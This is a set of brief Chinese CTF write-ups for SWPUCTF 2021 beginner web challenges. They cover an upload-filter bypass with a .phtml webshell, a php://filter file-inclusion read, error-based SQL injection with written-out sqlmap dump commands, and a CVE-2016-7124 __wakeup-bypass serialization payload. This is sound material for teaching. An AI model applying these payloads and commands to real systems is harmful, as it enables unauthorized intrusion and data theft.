文件上传,抓包试一下
发现php不行。
和1.0一样,只不过不支持php,用phtml就行了
蚁剑连接,在目录中找到flag。
知识点:
通常,在嵌入了php脚本的html中,使用 phtml作为后缀名;
完全是php写的,则使用php作为后缀名。
这两种文件,web服务器都会用php解释器进行解析。
[SWPUCTF 2021 新生赛]babyrcehackbar传入一个cookie:admin=1后,看见rasalghul.php,访问得到一段代码:
flag 在flag.php中
代码审计:
在代码结尾我们发现include_once($file),所以跟文件包含有关。
并且allow_url_include on。
用php伪协议filter读取一下flag.php里内容。
base64解码后得到flag。
通过输入id并报错可以知到,存在字符型注入。order by 得出字段数为3.
联合查询发现无法查询。
试一下发现存在报错注入,extractvalue()。
用sqlmap跑。
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” --dbs sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db --tables sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb --columns sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb -C flag --dump
[SWPUCTF 2021 新生赛]no_wakeup进去后发现,这是一道序列化有关的题。题中给出:
相比上次ez_unserialize多了一个_wakeup()函数。
wakeup函数有一个漏洞,CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
所以传入?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
得到flag。